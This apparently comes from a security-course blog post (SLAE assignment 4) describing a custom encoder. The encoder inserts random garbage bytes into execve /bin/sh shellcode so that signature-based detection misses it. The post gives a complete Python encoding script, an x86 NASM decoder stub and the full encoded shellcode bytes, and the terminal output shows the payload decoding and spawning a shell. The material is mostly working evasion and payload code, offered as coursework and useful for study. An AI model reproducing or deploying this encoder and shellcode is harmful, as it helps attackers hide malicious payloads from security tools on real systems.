Pages

Sunday, August 4, 2013

Custom encoding scheme

 For the 4th assignment of SLAE, I've made a custom encoding scheme, with the same purpose as the insertion encoder: avoid signature detection by inserting garbage bytes into the shellcode.

 The encoding scheme is as follows: we start from a working shellcode and insert garbage blocks, containing a random garbage byte and the offset to the next garbage block.
The distance between the garbage blocks is a random value between 2 modifiable limits. In this way we can control the final length of the shellcode and the amount of garbage inserted:

The encoded shellcode will look like this:
---------------------------------------------------------
| n0 | . . .| b1 | n1 | . . . . .| b2 | n2 | . . . |END |
---------------------------------------------------------

ni  - next garbage byte position
bi  - garbage byte
END - END of the shellcode marker


 The encoding is done in a short python script:
#!/usr/bin/python
'''
    Python Insertion Encoder 
 
'''

import random

# Execve-stack shellcode - execve(/bin/sh,..)
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")

encoded = ""

idx = 1

# Control  the frequency of garbage through a displacement
MIN_DEP = 3     # min number of shellcode bytes after which to inject garbage
MAX_DEP = 4     # max ...
dep = random.randint(MIN_DEP, MAX_DEP)
n = idx + dep
encoded += '\\x%02x' % n
END = "\\xf0\\x0d"

for x in bytearray(shellcode) :
    if idx == n: 
        # We have reached an insertion point
        dep = random.randint(MIN_DEP, MAX_DEP)
        n = idx + dep

        encoded += '\\x%02x' % random.randint(1,255)
        encoded += '\\x%02x' % n
        idx += 2
    
    # Add a shellcode byte
    encoded += '\\x%02x' % x
    idx += 1

encoded += END

print encoded
# Print in nasm friendly form
print encoded.replace("\\x", ",0x")[1:]

print 'Initial len: %d, encoded len: %d' % (len(shellcode), 
    len(encoded)/4)
The decoding is done in the assembly shellcode:
global _start   

section .text
_start:

 jmp short call_shellcode

decoder:
 pop esi                     ; beginning of the encoded shellcode
 lea edi, [esi]              ; shellcode decoded in place. Edi - dest pointer
 xor eax, eax            
 mov al, byte [esi]          ; position of next garbage byte
 xor ebx, ebx
    push 1                      ; index into the shellcode
    pop ecx

decode: 
    cmp ecx, eax
    jnz short shellcode_byte    ; shellcode byte found 
    add ecx, 2                  ; garbage byte found. Advance 2 bytes
    mov al, byte [esi + eax + 1]; position of next garbage byte    
shellcode_byte:                 ; byte part of real shellcode
 mov bl, byte [esi + ecx]
 mov byte [edi], bl
 inc edi                     ; advance destination
 inc ecx                     ; advance source
 cmp byte [esi + ecx], 0xf0  ; check for END marker
    jnz decode
    cmp byte [esi + ecx + 1], 0x0d
    jnz decode
    jmp esi                     ; shellcode decoded in-place. Jump to it



call_shellcode:

 call decoder
 EncodedShellcode: db 0x04,0x31,0xc0,0x50,0x06,0x08,0x68,0x2f,0x15,0x0b,0x2f,0x12,0x0e,0x73,0x85,0x11,0x68,0x4e,0x14,0x68,0x96,0x18,0x2f,0x62,0xd8,0x1c,0x69,0x6e,0xf9,0x20,0x89,0xe3,0xa9,0x23,0x50,0x6d,0x26,0x89,0x60,0x29,0xe2,0x0e,0x2d,0x53,0x89,0x3b,0x30,0xe1,0xaa,0x34,0xb0,0x0b,0x55,0x37,0xcd,0xe2,0x3b,0x80,0xf0,0x0d

And now to test this:
- encode the execve-stack shellcode using the python script
- disassemble and examine the encoded shellcode
- define the shellcode bytes at the end of the assembly decoder
- assemble
- test using a C program which executes the payload
$ ./custom-encoder.py 
\x05\x31\xc0\x50\x68\xb1\x08\x2f\x58\x0c\x2f\x73\x71\x10\x68\x68\x88\x14\x2f\x62\x42\x17\x69\x6a\x1a\x6e\xba\x1d\x89\xf5\x21\xe3\x50\xe0\x25\x89\xe2\xaf\x29\x53\x89\x83\x2d\xe1\xb0\x33\x30\x0b\x1a\x33\xcd\x66\x36\x80\xf0\x0d
0x05,0x31,0xc0,0x50,0x68,0xb1,0x08,0x2f,0x58,0x0c,0x2f,0x73,0x71,0x10,0x68,0x68,0x88,0x14,0x2f,0x62,0x42,0x17,0x69,0x6a,0x1a,0x6e,0xba,0x1d,0x89,0xf5,0x21,0xe3,0x50,0xe0,0x25,0x89,0xe2,0xaf,0x29,0x53,0x89,0x83,0x2d,0xe1,0xb0,0x33,0x30,0x0b,0x1a,0x33,0xcd,0x66,0x36,0x80,0xf0,0x0d
Initial len: 25, encoded len: 56
$ echo -ne "\x05\x31\xc0\x50\x68\xb1\x08\x2f\x58\x0c\x2f\x73\x71\x10\x68\x68\x88\x14\x2f\x62\x42\x17\x69\x6a\x1a\x6e\xba\x1d\x89\xf5\x21\xe3\x50\xe0\x25\x89\xe2\xaf\x29\x53\x89\x83\x2d\xe1\xb0\x33\x30\x0b\x1a\x33\xcd\x66\x36\x80\xf0\x0d" | ndisasm -b 32 -
00000000  0531C05068        add eax,0x6850c031
00000005  B108              mov cl,0x8
00000007  2F                das
00000008  58                pop eax
00000009  0C2F              or al,0x2f
0000000B  7371              jnc 0x7e
0000000D  106868            adc [eax+0x68],ch
00000010  88142F            mov [edi+ebp],dl
00000013  624217            bound eax,[edx+0x17]
00000016  696A1A6EBA1D89    imul ebp,[edx+0x1a],dword 0x891dba6e
0000001D  F5                cmc
0000001E  21E3              and ebx,esp
00000020  50                push eax
00000021  E025              loopne 0x48
00000023  89E2              mov edx,esp
00000025  AF                scasd
00000026  295389            sub [ebx-0x77],edx
00000029  832DE1B033300B    sub dword [dword 0x3033b0e1],byte +0xb
00000030  1A33              sbb dh,[ebx]
00000032  CD66              int 0x66
00000034  3680F00D          ss xor al,0xd
$ ./compile.sh 
  [+] Assembling egghunter
  [+] Linking egghunter
\xeb\x2d\x5e\x8d\x3e\x31\xc0\x8a\x06\x31\xdb\x6a\x01\x59\x39\xc1\x75\x07\x83\xc1\x02\x8a\x44\x06\x01\x8a\x1c\x0e\x88\x1f\x47\x41\x80\x3c\x0e\xf0\x75\xe8\x80\x7c\x0e\x01\x0d\x75\xe1\xff\xe6\xe8\xce\xff\xff\xff\x04\x31\xc0\x50\x06\x08\x68\x2f\x15\x0b\x2f\x12\x0e\x73\x85\x11\x68\x4e\x14\x68\x96\x18\x2f\x62\xd8\x1c\x69\x6e\xf9\x20\x89\xe3\xa9\x23\x50\x6d\x26\x89\x60\x29\xe2\x0e\x2d\x53\x89\x3b\x30\xe1\xaa\x34\xb0\x0b\x55\x37\xcd\xe2\x3b\x80\xf0\x0d
  [+] House cleaning
  [+] Done!
$ ./shellcode 
Shellcode Length:  112 bytes
$ whoami
liv
$

The complete source files and scripts mentioned in this post can be found in the Git repository:
SLAE

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:       
www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/   
Student ID: SLAE- 449
    

No comments:

Post a Comment